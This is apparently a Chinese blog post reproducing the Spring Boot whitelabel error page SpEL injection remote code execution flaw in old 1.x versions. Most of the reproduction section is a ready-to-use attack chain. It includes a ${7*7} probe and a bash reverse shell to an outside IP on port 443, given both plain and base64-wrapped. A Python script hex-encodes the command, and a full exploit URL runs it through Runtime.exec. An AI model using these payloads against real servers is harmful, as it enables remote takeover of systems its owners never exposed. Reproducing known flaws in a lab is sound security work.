SpringBoot远程代码执行(whitelabel error page SpEL RCE)

0x01 漏洞原理

  1. spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
  2. 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。
  3. 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。

0x02 利用条件

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0。
  • 至少知道一个触发 springboot 默认错误页面的接口及参数名。

0x03 漏洞复现

1、漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

2、寻找一个正常传参处,在本例中以/article?id=xxx为例,实战可以通过burpsuite等工具fuzz。若网站状态码返回为500,则后续测试可在此id参数进行。
在这里插入图片描述输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
在这里插入图片描述2、编辑脚本,将反弹shell的命令转换为java字节形式。

bash -i >& /dev/tcp/140.143.30.49/443 0>& 1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDAuMTQzLjMwLjQ5LzQ0MyAwPiYgMQ==}|{base64,-d}|{bash,-i}
# coding: utf-8

result = ""
target = 'open -a Calculator'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))

在这里插入图片描述

3、攻击机nc监听,执行如下payload。

http://192.168.3.136:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]
{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4e,0x44,0x41,0x75,0x4d,0x54,0x51,0x7a,0x4c,0x6a,0x4d,0x77,0x4c,0x6a,0x51,0x35,0x4c,0x7a,0x51,0x30,0x4d,0x79,0x41,0x77,0x50,0x69,0x59,0x67,0x4d,0x51,0x3d,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}

在这里插入图片描述

0x04 参考

https://github.com/LandGrey/SpringBootVulExploit
https://www.cnblogs.com/litlife/p/10183137.html 原理

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值